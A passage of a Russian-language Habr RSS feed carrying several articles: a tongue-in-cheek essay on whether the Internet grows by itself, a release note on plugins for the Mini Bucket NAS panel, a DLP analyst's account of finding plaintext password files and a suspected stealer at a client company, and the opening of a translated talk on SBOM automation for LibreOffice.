      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Шуточная статья. А может и нет? Вы задумывались, а что такое Интернет? Посмотрим в википедии: &lt;strong&gt;Интерне́т&lt;/strong&gt; (&lt;a href=https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B3%D0%BB%D0%B8%D0%B9%D1%81%D0%BA%D0%B8%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA rel=&#34;noopener noreferrer nofollow&#34;&gt;англ.&lt;/a&gt; &lt;em&gt;Internet&lt;/em&gt;) — &lt;a href=https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BC%D0%BC%D1%83%D0%BD%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%B5%D1%82%D1%8C rel=&#34;noopener noreferrer nofollow&#34;&gt;коммуникационная сеть&lt;/a&gt; и глобальная система объединённых &lt;a href=https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D0%B0%D1%8F_%D1%81%D0%B5%D1%82%D1%8C rel=&#34;noopener noreferrer nofollow&#34;&gt;компьютерных сетей&lt;/a&gt; для &lt;a href=https://ru.wikipedia.org/wiki/%D0%A5%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5 rel=&#34;noopener noreferrer nofollow&#34;&gt;хранения&lt;/a&gt; и &lt;a href=https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%80%D0%B5%D0%B4%D0%B0%D1%87%D0%B0_%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D0%B8 rel=&#34;noopener noreferrer nofollow&#34;&gt;передачи&lt;/a&gt; &lt;a href=https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D1%8F rel=&#34;noopener noreferrer nofollow&#34;&gt;информации&lt;/a&gt;. Интернет соединяет &lt;a href=https://ru.wikipedia.org/wiki/%D0%90%D0%B2%D1%82%D0%BE%D0%BD%D0%BE%D0%BC%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_(%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82) rel=&#34;noopener noreferrer nofollow&#34;&gt;автономные системы&lt;/a&gt; (ASN) по всему миру протоколом динамической маршрутизации &lt;a href=https://ru.wikipedia.org/wiki/Border_Gateway_Protocol rel=&#34;noopener noreferrer nofollow&#34;&gt;BGP&lt;/a&gt;. Количество уникальных автономных сетей в системе маршрутизации Интернета превысило 5000 в 1999 году, 30 000 в конце 2008 года, 35 000 в середине 2010 года, 42 000 в конце 2012 года, 54 000 в середине 2016 года и 60 000 в начале 2018 года. К декабрю 2020 года количество выделенных ASN превысило 100 000. По состоянию на 2025 год насчитывается около 120 000 выделенных ASN.&lt;p&gt;Интернет растет. Интернет развивается. На хватает IPv4 - переходим на IPv6. Скоро будем пинговать другие адреса. IPv6 - это не просто больше адресов, а примерно 340 ундециллионов (10^38) - на каждый атом на поверхности Земли или чтобы раздать адрес каждой песчинке на планете. Экспоненциальный рост. Сейчас стандарт TCP/IP, который вытеснил x.25 и другие протоколы, а какой протокол будет следующим?&lt;p&gt;Появились более сложные структуры - многочисленные хранилища, сервисы, которые тоже являются частью Интернет. Гигантские фермы серверов (Google, Amazon, Microsoft) потребляют столько же энергии, сколько небольшие города. Интернет растёт не только «вширь», но и «вглубь» — в мощность вычислений.&lt;p&gt;Интернет теперь не только в компьютерах: IoT (интернет вещей) — холодильники, лампочки, счётчики, автомобили, дроны. Интернет стал толще и плотнее, он везде, даже там, где мы не ждём.&lt;p&gt;Спутниковый интернет - интернет теперь не только на Земле, но и над ней. Он дотянулся до орбиты земли и оттуда спустился в каждый уголок Земли.&lt;p&gt;Появились LLM - сейчас только ленивый не пользуется системами искусственного интеллекта. LLM не просто &amp;#34;часть интернета&amp;#34;, они начали его &lt;strong&gt;читать за нас&lt;/strong&gt; — и отвечать от его имени. Интернет заговорил.&lt;p&gt;Про трафик: в 1990-х - гигабайты в сутки. Сейчас - эксабайты (миллионы терабайт). Видео (YouTube, TikTok, Zoom) съедают львиную долю. Мы уже тонем в видео.&lt;p&gt;&lt;strong&gt;Вот интересно - а кто развивает интернет? &lt;/strong&gt;Люди? Инженеры, которые создают новые системы, рабочие, которые тянут кабели…&lt;p&gt;&lt;strong&gt;А кто строит планы по развитию интернета? &lt;/strong&gt;Тоже люди? План - подать интернет в каждое сето на Чукотке! И все сразу заработали, ставят спутниковые станции, тянут кабели сквозь мороз и тайгу…&lt;p&gt;( Рельсы упрямо режут тайгу, Дерзко и прямо в зной и пургу)&lt;p&gt;Что-то мне напоминает лампочку Ильича: Коммунизм - это советская власть плюс электрификация всей страны.&lt;p&gt;И еще одна ассоциация возникает: ”...кто же управляет ... всем вообще распорядком на земле? – сам человек и управляет, – поспешил сердито ответить Бездомный на этот, признаться, не очень ясный вопрос.&lt;p&gt;– Виноват, – мягко отозвался неизвестный, – для того, чтобы управлять, нужно, как-никак, иметь точный план на некоторый, хоть сколько-нибудь приличный срок. Позвольте же вас спросить, как же может управлять человек, если он не только лишен возможности составить какой-нибудь план хотя бы на смехотворно короткий срок, ну, лет, скажем, в тысячу, но не может ручаться даже за свой собственный завтрашний день?”.&lt;p&gt;&lt;strong&gt;Вот и Интернет - кто ж все таки его планирует? &lt;/strong&gt;А может никто не планирует? Просто каждый решает свою частную проблему? Но Интернет-то развивается.&lt;p&gt;&lt;strong&gt;А что, если интернет развивается сам? А люди - просто его инструменты для развития? &lt;/strong&gt;Он уже очень большой, он раскинул свои щупальца по всей планете, он присутствует везде и продолжает расти…&lt;p&gt;Почему? А почему растет дерево? Оно ведь тоже распространяется, занимает территории, потребляет ресурсы.&lt;p&gt;Биолог ответит: дерево растёт, чтобы размножаться, захватывать территорию, получать больше света, чем соседи. Это конкуренция. Это борьба за ресурсы.&lt;p&gt;Но эколог возразит: дерево растёт, потому что оно встроено в экосистему. Его рост — это способ отдавать (кислород, тень, плоды, место для гнёзд) и получать (азот от грибов, опыление от насекомых, заботу от белок).&lt;p&gt;А философ скажет: дерево растёт, потому что &lt;strong&gt;так устроен мир&lt;/strong&gt;. Мир устроен так, что живое стремится увеличивать сложность, захватывать свободную энергию, заполнять доступное пространство. Это не «цель» дерева. Это свойство жизни как процесса.&lt;p&gt;Я бы еще добавил - нужны червячки, чтобы разрыхлять корни. &lt;p&gt;Вот и вопрос, что в приоритете - человечество для Интернета или Интернет для человечества?&lt;p&gt; &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>intdif</author>
      <guid>https://habr.com/ru/articles/1046169/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046169</guid>
      <pubDate>Wed, 10 Jun 2026 15:41:29 +0000</pubDate>
    </item>
    <item>
      <title>Mini Bucket 3.6.4: теперь с плагинами — двери для разработки открыты</title>
      <link>https://habr.com/ru/articles/1046167/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046167</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/27f/65d/287/27f65d287bae9ea21243437d1cc49158.png alt=&#34;Данное изображение продукт генерации ии и моих скринов.&#34; title=&#34;Данное изображение продукт генерации ии и моих скринов.&#34; width=1694 height=929 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/27f/65d/287/27f65d287bae9ea21243437d1cc49158.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/27f/65d/287/27f65d287bae9ea21243437d1cc49158.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Данное изображение продукт генерации ии и моих скринов.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Как мы превратили панель управления NAS в платформу для расширений, зачем туда Log Manager и для чего Plugin Template.&lt;p&gt;Сегодня на Хабре уже была похожая статья, но модератор её снял. Поэтому те, кто её уже видел, могут не тратить время на чтение этой версии.&lt;hr&gt;&lt;h2&gt;Вместо введения&lt;/h2&gt;&lt;p&gt;В прошлой статье (&lt;a href=https://habr.com/ru/articles/1043530/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Mini Bucket 3.6.2: от беты к релизу&lt;/a&gt;) я показал, как панель доросла до стабильного состояния: закрыли дыры, разнесли базы, добавили HTTPS.&lt;p&gt;Но панель как панель. SMB, FTP и прочее — это стандартный набор почти любой админки. Пришло время расширять функционал.&lt;p&gt;Лучшим решением оказалось:&lt;ul&gt;&lt;li&gt;&lt;p&gt;не городить модуль на модуле;&lt;li&gt;&lt;p&gt;не гадать, кому и что может пригодиться;&lt;li&gt;&lt;p&gt;не навязывать лишнего;&lt;li&gt;&lt;p&gt;не отнимать у таких же, как я, энтузиазм и желание сделать что-то своё.&lt;/ul&gt;&lt;p&gt;Поэтому, как уже было решено ранее, выходом из этой ситуации стали плагины.&lt;p&gt;Плагин по определению — это расширение, позволяющее приложению дополнить базовый функционал (мало ли, вдруг кто-то этого не знает).&lt;hr&gt;&lt;h2&gt;Итак, плагины&lt;/h2&gt;&lt;p&gt;В новой версии 3.6.4 я добавил возможность устанавливать плагины. Перед реализацией возникло много вопросов. Наша ключевая фишка — мультисеть (позволяет переключать фронтенд на бэкенд другого сервера для его мониторинга и управления). Значит, и модуль плагинов должен уметь переключаться.&lt;p&gt;Не проблема: механизм уже наработан. За вечер я реализовал модуль плагинов.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/074/abf/e57/074abfe57ce53b2f19bc28b719e99671.png width=2545 height=1287 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/074/abf/e57/074abfe57ce53b2f19bc28b719e99671.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/074/abf/e57/074abfe57ce53b2f19bc28b719e99671.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;hr&gt;&lt;p&gt;Тут снова возникает вопрос:&lt;p&gt;&lt;strong&gt;А что, если на главном сервере плагин установлен, а на Slave — нет?&lt;/strong&gt;&lt;p&gt;Во избежание этого был реализован механизм проверки плагина на сервере. Если на Slave-сервере плагина нет, а мы пытаемся им управлять, то увидим сообщение об отсутствии плагина и предложение его установить.&lt;p&gt;Вот здесь как раз и пригодится хранение в репозитории. Если согласиться с этим заманчивым предложением, то одним нажатием кнопки плагин будет загружен на целевой сервер и установлен. Страница перезагрузится — и теперь плагином можно управлять.&lt;p&gt;Позже сделаю контроль разности версий.&lt;hr&gt;&lt;p&gt;&lt;strong&gt;Что это даёт?&lt;/strong&gt;&lt;p&gt;Все загруженные плагины могут храниться в репозитории Root-мастер-сервера и передаваться на узлы, а с них — на их подчинённые Slave-серверы. Не придётся ходить на каждый сервер и устанавливать плагин вручную. Ну разве не лепота?&lt;hr&gt;&lt;h2&gt;Теперь расскажу о плагинах подробнее&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Log Manager&lt;/strong&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/29e/692/7b6/29e6927b63baba1e988f2857a7fb22ae.png width=2544 height=1288 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/29e/692/7b6/29e6927b63baba1e988f2857a7fb22ae.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/29e/692/7b6/29e6927b63baba1e988f2857a7fb22ae.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Этот плагин был первым. Собственно, он и работал, помогая писать всю эту затею, чтобы потом писать другие.&lt;p&gt;&lt;strong&gt;Что умеет Log Manager:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Выбирать логи, которые всегда будут под рукой. Вы можете выбрать лог-файл в системе или указать путь к нему и сохранить в список. Больше не придётся ничего запоминать или, что ещё хуже, лезть в Google, чтобы найти нужный лог.&lt;/ul&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/992/316/90c/99231690cebad03cc5df7a9769240275.png width=2550 height=1293 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/992/316/90c/99231690cebad03cc5df7a9769240275.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/992/316/90c/99231690cebad03cc5df7a9769240275.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Отображать содержимое лог-файла.&lt;li&gt;&lt;p&gt;Искать в реальном времени и работать в режиме живого обновления (удобно, когда ищешь проблему).&lt;li&gt;&lt;p&gt;Очищать лог (обзорно или полностью удалить содержимое файла).&lt;li&gt;&lt;p&gt;Экспортировать лог-файл.&lt;/ul&gt;&lt;p&gt;Возможно, позже я реализую некий брокер логов, но думаю, для начала и этого достаточно.&lt;p&gt;Особенно удобно смотреть нужные логи на определённых серверах: переключаешься на нужный сервер и видишь список его логов с содержимым.&lt;hr&gt;&lt;p&gt;&lt;strong&gt;Plugin Template&lt;/strong&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/8fa/dab/cad/8fadabcadf12b6d909b58b67da34cdd8.png width=2544 height=1289 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/8fa/dab/cad/8fadabcadf12b6d909b58b67da34cdd8.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/8fa/dab/cad/8fadabcadf12b6d909b58b67da34cdd8.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Как понятно из названия, это шаблон плагина для разработки. Я постарался разнести всю стандартную логику по файлам.&lt;p&gt;Шаблон уже включает:&lt;ul&gt;&lt;li&gt;&lt;p&gt;стандартные проверки безопасности;&lt;li&gt;&lt;p&gt;режим определения хостов для переключения;&lt;li&gt;&lt;p&gt;режим проверки наличия плагина на сервере.&lt;/ul&gt;&lt;p&gt;Думаю, те, кто захочет присоединиться к расширению функционала, оценят.&lt;hr&gt;&lt;p&gt;Надеюсь найдутся те кто сможет обуздать шаблон и присоединится к расширению функционала. На этом все) спасибо за внимание!&lt;hr&gt;&lt;p&gt;P.S Оставлю полезные линки по статье:&lt;p&gt;Сайт проекта: &lt;a href=https://mini-bucket.ru/ rel=&#34;noopener noreferrer nofollow&#34;&gt;https://mini-bucket.ru/&lt;/a&gt;&lt;p&gt;Плагины: &lt;a href=https://mini-bucket.ru/plugins/ rel=&#34;noopener noreferrer nofollow&#34;&gt;https://mini-bucket.ru/plugins/&lt;/a&gt;&lt;p&gt;Раздел для плагинов на форуме: &lt;a href=https://mini-bucket.ru/community/community/%D0%BF%D0%BB%D0%B0%D0%B3%D0%B8%D0%BD%D1%8B/ rel=&#34;noopener noreferrer nofollow&#34;&gt;https://mini-bucket.ru/community/community/плагины/&lt;/a&gt;&lt;p&gt;WiKi for Developers: &lt;a href=https://mini-bucket.ru/wiki/knowledge-base/dev-pugins/plugin-development/ rel=&#34;noopener noreferrer nofollow&#34;&gt;https://mini-bucket.ru/wiki/knowledge-base/dev-pugins/plugin-development/&lt;/a&gt;&lt;p&gt;Установка: &lt;a href=https://mini-bucket.ru/install/ rel=&#34;noopener noreferrer nofollow&#34;&gt;https://mini-bucket.ru/install/&lt;/a&gt;&lt;p&gt;Для тех у кого уже установлен Mini Bucket готово обновление в интерфейсе в разделе Update.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>RomanZo26</author>
      <guid>https://habr.com/ru/articles/1046167/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046167</guid>
      <pubDate>Wed, 10 Jun 2026 15:41:14 +0000</pubDate>
    </item>
    <item>
      <title>Кейс: тест DLP, с которого ничего не началось</title>
      <link>https://habr.com/ru/articles/1046161/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046161</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Привет! Я — Катя DLPшка. Недавно пришла в профессию и… сразу же получила свой первый блэк аут. Рассказываю…&lt;p&gt;Четыре года в вузе я наивно верила: устроюсь на работу в айтишку, где клиенты всё понимают, а их сотрудники — ангелы. Я буду выявлять инциденты, говорить, что и как исправить, ссылаясь на ФСТЭК и ГОСТ, а мне отвечать: «Да, DLPшка Катя, согласны, давайте исправлять…»&lt;p&gt;Забавно вышло. Я сильно ошиблась&lt;p&gt;Именно поэтому я завела блог: хочу снизить риски от социальной инженерии. Потому что главная уязвимость — это люди. И я их прекрасно понимаю, наверное.&lt;p&gt;Небольшой тизер к моей первой статье:&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/171/84a/ba5/17184aba5258ccfa1871575085e1f10a.png alt=&#34;Слепая дружба: CEO доверял ему всё, а DLP вычислил бэкдор на рабочем столе» или как «неприкасаемый» сисадмин устроил себе клондайк из паролей и малвари&#34; title=&#34;Слепая дружба: CEO доверял ему всё, а DLP вычислил бэкдор на рабочем столе» или как «неприкасаемый» сисадмин устроил себе клондайк из паролей и малвари&#34; width=1407 height=792 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/171/84a/ba5/17184aba5258ccfa1871575085e1f10a.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/171/84a/ba5/17184aba5258ccfa1871575085e1f10a.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Слепая дружба: CEO доверял ему всё, а DLP вычислил бэкдор на рабочем столе» или как «неприкасаемый» сисадмин устроил себе клондайк из паролей и малвари&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Сейчас я работаю в компании по автоматизации предприятий. В отделе ИБ я аналитик DLP‑системы, отсюда и мой никнейм — Катя DLPшка. Я рил считаю, что DLP — хороший способ подсветить риски и каналы утечек, которые никто никогда не контролирует.&lt;details class=spoiler&gt;&lt;summary&gt;Что такое DLP&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;p&gt;DLP (Data Leak Prevention или Data Loss Prevention) — это система, защищающая организацию от утечек конфиденциальной информации. DLP‑системы защищают внутренние данные компании, предотвращая их утечку через интернет, USB‑носители, принтеры или мессенджеры. Системы контролируют перемещение конфиденциальных сведений, включая персональные данные, финансы и интеллектуальную собственность.&lt;p&gt;Обычно бизнес фокусируется на внешних кибератаках (вирусах, фишинге, DDoS), однако внутренние инциденты часто наносят куда более масштабный урон. В связи с этим службе безопасности важно расценивать каждого сотрудника как потенциальный источник угрозы.&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Так вот, закончился у меня очередной проект. Точнее, не закончился — мы его закрыли. Хотя искренне хотели помочь бизнесу. Обидно, да? Мой руководитель мне сказал не расстраиваться и вообще: «Лучшее лекарство — отпусти и забудь». Но я решила написать статью и рассказать (поныть) миру, с чем столкнулась.&lt;p&gt;И вот мой пятый проект как есть….&lt;p&gt;Один из недавних клиентов — классический представитель среднего бизнеса: свой домен, файловый сервер, распределённая работа с удалёнкой. CEO является владельцем компании и безгранично доверяет главному системному администратору (назовем его СИС). СИС в хороших отношениях с генеральным, и мнение первого лица звучало так: «Наш сисадмин — профессионал, он всё контролирует, нам отдельный человек по ИБ не нужен».&lt;p&gt;Но у нас есть бесплатный тестовый период. И владелец решил всё‑таки попробовать что‑то новенькое — побыть в «тренде ИБ», ну и к тому же посмотреть, а кто что делает или может, даже ворует. Так они и решились на наш 4-недельный тест DLP.&lt;p&gt;&lt;strong&gt;Как мы получили кривые права&lt;/strong&gt;&lt;p&gt;Для сбора событий с файлового сервера мне нужны были права на чтение логов. СИС выдал права, но неправильно: вместо чтения файлов только у определенных пользователей, сотрудник дал доступ к терминальному серверу с учётками всех пользователей компании. Я, в свою очередь, предупредила заказчика об избыточности, но получила прямое указание продолжать работу в текущей конфигурации и мониторить всех пользователей, к которым у системы имелся доступ.&lt;p&gt;В результате я не могла менять настройки, так как не владела правами администратора, но зато модуль вычитки документов продолжал исправно писать в свою базу всё подряд. Данных я получила с большим запасом — и это оказалось золотой жилой. Я подумала: вот сколько проблем я вижу, сейчас я им помогу.... Угу… помогу…&lt;p&gt;&lt;strong&gt;Результаты DLP‑системы через неделю&lt;/strong&gt;&lt;p&gt;Я начала с малого: посмотрела содержимое рабочих столов сотрудников. Абсолютно на каждом конечном устройстве обнаружился текстовый файл (а чаще незашифрованная электронная таблица) со всеми паролями. Внутри — учётные данные от корпоративных порталов и Госуслуг, парольные фразы от банков, доступы к удаленным столам и внутренним CRM. Венчала этот «клад» приписка: «Сохрани этот файл на рабочем столе или отправь себе по почте, чтобы не потерять 😊». Да… со смайликом… Моя первая мысль: «Правила безопасности ИБ? нет… не слышали». Но самое интересное ждало меня на машине самого СИСа.&lt;h4&gt;Находки на ПК «неприкасаемого» СИСа&lt;/h4&gt;&lt;p&gt;Прицельно изучив файлы и логи с рабочей станции системного администратора, я нашла три критичные проблемы:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Антивирус с истекшей лицензией и базами. На машине стоял антивирус, который когда‑то был корпоративным стандартом. В логах DLP‑системы читалось, что последнее обновление вирусных баз произошло больше года назад, лицензия истекла. Фактически ПК был «голым».&lt;li&gt;&lt;p&gt;Вредоносное ПО, пропущенное всеми средствами защиты. Сотрудник скачал вредоносное ПО (предположительно, стиллер), а устаревший корпоративный антивирус никак не распознал и не отреагировал на инцидент.&lt;li&gt;&lt;p&gt;Хранение всех паролей компании. В корне рабочего стола лежал текстовый файл с паролями от доменных учёток, локальных администраторов серверов и учётных записей всех сотрудников. Файл не был защищён мастер‑паролем — открывай и заходи куда угодно.&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;Финал: как закончилась история&lt;/strong&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/70e/440/01b/70e44001bce03a679dbbc04c8b69867b.png alt=&#34;Нет, спасибо, наш админ безупречен и никогда не врёт&#34; title=&#34;Нет, спасибо, наш админ безупречен и никогда не врёт&#34; width=1443 height=812 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/70e/440/01b/70e44001bce03a679dbbc04c8b69867b.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/70e/440/01b/70e44001bce03a679dbbc04c8b69867b.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Нет, спасибо, наш админ безупречен и никогда не врёт&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Я представила CEO полный отчет с описанием уязвимостей, индикаторами компрометации и выводами. Предложила несколько вариантов реагирования для выстраивания комплексной безопасности в компании: от использования антивирусного ПО и менеджера паролей, до развёртывания полноценной DLP‑системы в разных ценовых категориях в зависимости от количества лицензий. Ответ генерального директора был: «Нет, спасибо. Я знаю, что наш админ — надежный человек, он решит самостоятельно».&lt;p&gt;Контракт закрыли, компания осталась один на один со своими проблемами. Теперь каждый раз, когда в новостях появляется заголовок об очередной масштабной утечке паролей, я невольно думаю: а не та ли это компания, где нашелся стиллер на «неприкасаемом» админе?&lt;p&gt;&lt;strong&gt;Что я хочу подчеркнуть&lt;/strong&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Избыточные права — подарок для аудитора и лазейка для хакера. Ошибка СИСа с предоставлением прав уровня администратора дала мне возможность провести глубокий аудит. В реальных проектах рекомендую всегда внимательно проверять, какие разрешения вы даете подрядчикам. Случайная избыточность может помочь злоумышленникам.&lt;li&gt;&lt;p&gt;Просроченный антивирус на ПК админа — симптом системной беды. Если главный ИТ‑специалист не следит за сроками действия лицензий и обновлением баз на собственной машине, он не контролирует безопасность всей инфраструктуры.&lt;li&gt;&lt;p&gt;Дружба с владельцем — самый опасный вектор угрозы. Технические средства бессильны, когда бизнес‑решение принимает человек, для которого аргумент «Он мой друг, я ему верю» перевешивает результаты объективного расследования. Информационная безопасность должна строиться на процессах и проверяемом уровне доверия, а не на личных отношениях. Иначе бэкдором становится сама корпоративная культура.&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;К чему приводят такие инциденты: примеры из жизни&lt;/strong&gt;&lt;p&gt;Описанная ситуация — реальная практика, которая регулярно заканчивается громкими утечками и многомиллионными убытками. Припомню ситуацию с Uber в 2022 году: злоумышленник методом социальной инженерии выманил пароль у сотрудника и попал во внутреннюю сеть. Там он обнаружил сетевые папки с PowerShell‑скриптами, содержавшими учётные данные администраторов в открытом виде, что позволило ему почти полностью захватить инфраструктуру, включая консоль AWS, почту и системы безопасности. Компания была вынуждена на несколько дней остановить множество внутренних сервисов.&lt;p&gt;Вроде написала — отпустило. Кто дочитал, отзовитесь, пжлста. Как вы сами действуете в таком аду?&lt;p&gt;И главное: есть ли фонд по защите таких, как мы? Аналитиков ИБ, которые всё видят, а их редко слушают. Я не говорю, что всё будет, по‑моему, и осознанность вдруг на всех снизойдёт. Но ведь в любой работе должна быть польза и аккуратность. Так почему бизнес не хочет, чтобы у него было аккуратно и с пользой для себя же?&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>katya_dlpshka</author>
      <guid>https://habr.com/ru/articles/1046161/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046161</guid>
      <pubDate>Wed, 10 Jun 2026 15:31:41 +0000</pubDate>
    </item>
    <item>
      <title>[Перевод] Автоматизация SBOM в большом legacy-проекте: опыт LibreOffice и Collabora Online</title>
      <link>https://habr.com/ru/companies/codescoring/articles/1045570/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1045570</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/5f8/0f1/8f0/5f80f18f0a5c47baf30d2fff346eca28.png width=780 height=440 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/5f8/0f1/8f0/5f80f18f0a5c47baf30d2fff346eca28.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/5f8/0f1/8f0/5f80f18f0a5c47baf30d2fff346eca28.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Вот уже более 20 лет проходит масштабная конференция разработчиков свободного и открытого ПО – FOSDEM. Для CodeScoring она примечательна тем, что с 2021 года на ней регулярно представлен тематический деврум &lt;a href=https://fosdem.org/2026/schedule/track/sboms-and-supply-chains/&gt;&amp;#34;SBOMS and supply chains&amp;#34;&lt;/a&gt;, посвященный составу программного обеспечения и цепочкам поставок.&lt;p&gt;Эта статья – адаптация доклада &amp;#34;LibreOffice and Collabora Online – how we managed to automate SBOM generation for a large legacy project&amp;#34;, с которым Торстен Беренц выступил на конференции в 2026 году. Специально для вас мы перевели выступление и превратили его в статью, оригинал доклада на английском языке – &lt;a href=https://fosdem.org/2026/schedule/event/TMFSBD-sboms-for-collabora-online/&gt;по ссылке&lt;/a&gt;.&lt;p&gt;Закон о киберустойчивости (Cyber Resilience Act, CRA, новые европейские требования к созданию ПО) поэтапно вступает в силу, и многим из европейских компаний нужно срочно разбираться со списками компонентов ПО (ППК/SBOM).&lt;br&gt;&lt;br&gt;В России тема SBOM также встроена в контекст безопасной разработки: ГОСТ Р 56939-2024 относит композиционный анализ к обязательным процессам контроля сторонних компонентов и известных уязвимостей. То есть SBOM становится не просто документом, а частью регулярной работы с составом ПО.&lt;br&gt;&lt;br&gt;Для продуктов с повышенным уровнем доверия или сертификацией правила формальнее – в рамках требований ФСТЭК России необходимо предоставлять перечень заимствованных компонентов в установленном формате.&lt;p&gt;Вернемся же к Collabora и истории о том, как в компании обзавелись своим собственным опытом создания SBOM для достаточно сложного продукта — Collabora Online, онлайн-офисного пакета с открытым исходным кодом, построенного на ядре LibreOffice.&lt;p&gt;Заголовок доклада обещает полностью автоматизированную генерацию SBOM, но реальность, как всегда, внесла свои коррективы. Автор доклада и его коллеги достигли определенных успехов, но это история о начале большого пути, а не о финише.&lt;p&gt;&lt;strong&gt;Передаем слово Торстену!&lt;/strong&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Об авторе: Торстен — эксперт LibreOffice и Collabora, глубоко разбирающийся в отраслевых стандартах. За свои 25 лет в проекте он успел покопаться в самых разных уголках кода: от системы сборки и библиотек абстракции платформы до Impress и Writer.&lt;/em&gt;&lt;p&gt;&lt;em&gt;По образованию Торстен — программист, по призванию — фанат свободного ПО. Начинал ещё в 